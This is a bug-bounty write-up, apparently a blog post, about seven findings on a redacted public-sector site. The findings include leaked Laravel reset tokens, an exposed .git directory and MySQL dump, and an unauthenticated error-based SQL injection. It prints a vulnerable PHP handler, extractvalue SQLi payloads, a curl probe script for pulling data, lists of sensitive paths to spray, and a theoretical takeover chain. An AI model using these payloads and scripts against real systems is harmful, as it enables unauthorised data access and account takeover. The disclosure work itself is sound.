Logo

Writeup

From Recon to Database — Seven Bugs on a Gov website

0 0xAsta
April 21, 2026
7 min read
bug-bounty web sqli information-disclosure laravel wordpress

Seven Bugs in One Afternoon — Writeup

This writeup details how I worked a wildcard-scope, ended the afternoon with seven findings — three of them critical. Target names, IPs, usernames, emails and paths are fully redacted; the methodology is universal.

Summary

The target is a public-sector organisation running a mixed estate: a WordPress marketing site, a Laravel KPI dashboard, a legacy PHP “veille” application, a Microsoft stack (Exchange / SharePoint / OWA) on a direct-exposed origin, a cPanel/WHM cluster, and a handful of low-code / SaaS subdomains.

The plan was simple: enumerate the surface, spray “should-never-be-web-reachable” paths, and chase the highest-signal leaks first. By the end of the session I had:

  1. Critical — public Laravel log with 28 live password-reset tokens + 1 bcrypt hash → chainable account takeover
  2. Medium — public WordPress debug.log with plugin inventory and hosting paths
  3. Critical — public MySQL dump (committed to the repo) with staff/customer tables
  4. High — exposed .git/ directory leaking an internal GitLab URL and 702-file inventory
  5. Medium — verbose PHP errors leaking DB host, users, paths
  6. High — Laravel webroot misconfiguration (root cause of #1)
  7. Critical — unauthenticated error-based SQL injection → full DB read

Key Code Snippets

The vulnerable AJAX handler pattern

Every /ajax_*.php endpoint on the legacy subdomain follows this shape:

<?php
include 'assets/inc/securite/conexion.php';
$actualite = addslashes($_GET['actualite']);
$etat = addslashes($_GET['etat']);
$user = addslashes($_GET['user']);
$q = "SELECT count(*) FROM les_jaime
WHERE actualite = $actualite
AND etat = $etat
AND user = $user";
$res = mysqli_query($conn, $q);

Three compounding problems:

  1. No authentication check — $_GET['user'] is trusted as the acting identity.
  2. addslashes() is the only sanitisation — it escapes quotes but the column is integer-context, so quotes aren’t needed to inject.
  3. display_errors = On — every failed query returns the SQL fragment in the HTTP body.

The error-based SQLi payload

Error-based SELECT leak via extractvalue() — no rows mutated, query fails before any side effect:

1 AND extractvalue(1, concat(0x7e, (SELECT version()), 0x7e))

Sent as:

Terminal window
PAY="1 AND extractvalue(1,concat(0x7e,(select version()),0x7e))"
ENC=$(python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))" "$PAY")
curl -sk "https://[REDACTED]/ajax_nbr_like.php?actualite=1&etat=$ENC&user=1"

Server response (verbatim, one line):

Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: '~[REDACTED-VERSION]~'
in /var/www/html/ajax_nbr_like.php:20 … mysqli_query(Object(mysqli), 'SELECT count(*)...')

Analysis

1. Recon pipeline

Terminal window
dig [REDACTED] +short
dig NS,MX,TXT [REDACTED] +short
whois [REDACTED]
subfinder -d [REDACTED] -all -silent -o subfinder.txt
curl -s "https://crt.sh/?q=%25.[REDACTED]&output=json" -o crtsh.json
cat subfinder.txt crtsh.txt | sort -u > subdomains.txt
httpx -l subdomains.txt -sc -title -td -ip -cname -server -cdn -o httpx.txt

crt.sh is underrated — Certificate Transparency catches subdomains that DNS brute-forcers miss. For this target it uncovered the epm. Laravel dashboard which is the root of Findings 1 and 6.

Prioritisation after httpx:

  • Non-CDN origins (direct IPs exposed — bypasses WAF)
  • Laravel / WordPress / SharePoint / OWA signatures — rich, known attack surface
  • 525 / 502 / 401 responses — often partially-configured services worth a closer look

2. Spray the “should-never-be-web-reachable” list

Before touching any dynamic code I spray a short, known-good list per stack:

Terminal window
LARAVEL=(/.env /storage/logs/laravel.log /.git/config
/_ignition/execute-solution /telescope /horizon
/composer.json /composer.lock /artisan /package.json
/routes/web.php /public/.env)
WORDPRESS=(/wp-json/wp/v2/users /xmlrpc.php /readme.html
/wp-content/debug.log /wp-config.php.bak
/wp-content/ai1wm-backups/ /wp-content/backup-db/)

Hits in this engagement (in seconds):

  • /storage/logs/laravel.logHTTP 200, ~22 MB
  • /wp-content/debug.logHTTP 200, ~74 MB
  • /composer.json, /composer.lock, /package.json, /artisanHTTP 200
  • /.git/HEAD, /.git/config, /.git/indexHTTP 200

3. Why a Laravel log is the highest-yield leak on PHP targets

Laravel’s default logger writes stack traces that include the full offending SQL statement and its bindings. Any unhandled QueryException dumps rows like:

SQL: insert into `users` (`name`, `email`, `password`, …)
values ([REDACTED-NAME], [REDACTED-EMAIL], $2y$12$[REDACTED-HASH], …)

→ bcrypt hashes in cleartext log → offline cracking.

Worse, Laravel logs the output of its built-in password-reset notification under certain mail-driver configurations. In this engagement that produced 28 unique live reset URLs for real staff accounts.

4. Proving takeover without modifying data

A password-reset URL hitting GET /reset-password/<token>?email=<email> renders a form if the token is still valid and an error page if it isn’t. Fetching it is read-only. If the response contains the expected inputs (_token, email, password, password_confirmation) the token is accepted server-side; a POST with a chosen password would succeed.

I stopped at the GET. That is enough for a CVSS-critical bug and respects the ROE clause “don’t modify user data”.

5. .git/ exposure — the gift that keeps giving

Terminal window
curl -sI https://[REDACTED]/.git/HEAD # HTTP 200
git-dumper https://[REDACTED]/.git ./dump

On this target the application’s catch-all route 302-redirected /.git/objects/**, so I couldn’t reconstruct blobs. But the flat files still leaked:

PathWhat it gave me
/.git/configInternal GitLab URL — pivot into an internal Git server
/.git/index702 tracked filenames — even without blob reconstruction
/.git/logs/HEADDeveloper OS user + clone hostname
/.git/packed-refsCommit SHA for later paste-site matching

git ls-files on the recovered index listed a file named like [REDACTED]_db_vXX (1).sql — a full phpMyAdmin dump committed to the repo.

A single URL-encoded GET pulled the entire schema with data. A .sql in the git index is one of the most common and most damaging PHP-project anti-patterns. Always grep the index for \.sql$, \.env$, backup, config.

6. Finding the SQLi

From the 702-file inventory I filtered /ajax_*.php — tiny AJAX handlers tend to have the least defensive code.

Calling each with no parameters returned stack traces:

Warning: Undefined array key "actualite" in /var/www/html/ajax_nbr_like.php on line 9
Deprecated: addslashes(): Passing null to parameter #1 ($string) …

So each endpoint reads a few $_GET[...] params, passes each through addslashes(), concatenates into SQL, and executes with mysqli_query. addslashes() is a quoting helper, not a sanitiser — known bypasses:

  1. Integer context — if the SQL has WHERE id = $x (no quotes), the payload never needs quotes, so addslashes() does nothing.
  2. Multi-byte charset confusion (SET NAMES gbk) — %bf%27 eats the escape backslash.

Read side vs write side:

  • ajax_favoris.php, ajax_like.phpINSERT INTO … — exploitable but any payload risks writing a row → ROE violation.
  • ajax_nbr_like.phpSELECT count(*) …read-only, ideal target.

7. Extraction (chunked, because extractvalue truncates to ~32 chars)

Terminal window
enc() { python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))" "$1"; }
probe() {
local pay="1 AND extractvalue(1,concat(0x7e,($1),0x7e))"
curl -sk "https://[REDACTED]/ajax_nbr_like.php?actualite=1&etat=$(enc "$pay")&user=1" \
| grep -oE "XPATH syntax error: '[^']+'" | head -1
}
probe "select version()"
probe "select database()"
probe "select current_user()"
probe "select @@datadir"
probe "select @@hostname"
probe "select substr(group_concat(privilege_type),1,30) from information_schema.user_privileges"
probe "select substr(group_concat(privilege_type),1,30) from information_schema.schema_privileges"
probe "select substr(group_concat(table_name),1,30) from information_schema.tables where table_schema=database()"
probe "select substr(group_concat(table_name),31,30) from information_schema.tables where table_schema=database()"
probe "select count(*) from utilisateur"
probe "select email from utilisateur limit 1"
probe "select length(password) from utilisateur limit 1"
probe "select substr(password,1,4) from utilisateur limit 1"

Trick used repeatedly: hex-encode table/column names (0x7574696c69736174657572) to sidestep any quoting.

8. RCE reachability check

  • information_schema.user_privileges showed the DB user has only USAGE — no FILE privilege → classic SELECT … INTO OUTFILE '/var/www/html/shell.php' is out.
  • @@hostname was a short hex ID — the DB is a Docker container, so even a hypothetical RCE inside MySQL would be inside the container, not the host.
  • CMS plugins on the other subdomain (WordPress code-snippets, Slider Revolution) have authenticated RCE chains, but that would cross the ROE line.
  • An Exchange/SharePoint origin IP was leaked by one subdomain’s direct-DNS record, bypassing the CDN — ProxyShell / CVE-2023-29357 territory. Not probed: these exploits are loud and risk tripping EDR / incident response.

Conclusion: SQLi confirmed, full DB read, no direct shell chain on this host. Documented and stopped.

Exploitation and Flag Recovery

The worst-case attack chain (theoretical — not executed)

  1. Fetch the exposed Laravel log → extract password-reset URLs for staff.
  2. GET a reset URL → confirm the form renders (this step only).
  3. POST a new password → account takeover of a real staff account. (Skipped — ROE.)
  4. If the compromised account is an admin on the Laravel dashboard, pivot to an authenticated file-upload or snippet-eval surface → RCE on the Laravel host.
  5. In parallel, pull the committed MySQL dump from the legacy subdomain → full customer PII and staff hashes.
  6. Use leaked DB hostname + username from the verbose errors for credential spraying against direct-exposed MySQL.
  7. Direct-IP probe the Microsoft stack → if unpatched, unauth SharePoint RCE.

The wet PoC I did run

Unauthenticated error-based SQL injection via a single GET request. Response (one line, redacted):

Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: '~[REDACTED-VERSION]~' …

Data actually extracted (minimum-necessary):

TargetValue
version()[REDACTED-MYSQL-VERSION]
database()[REDACTED-SCHEMA]
current_user()[REDACTED-DB-USER]@%
@@hostname[REDACTED-CONTAINER-ID] (Docker)
@@datadir/var/lib/mysql/
PrivilegesUSAGE only
Table count21
Sample table listactualite, alertes, authentification, client, commentaire, demande, favoris, image, les_jaime, personnel, …
utilisateur row count8
Sample email[REDACTED]@[REDACTED].tld
Password length32 (→ MD5 hashes)
Password prefixfirst 4 hex chars only — enough to classify as MD5 without leaking any crackable material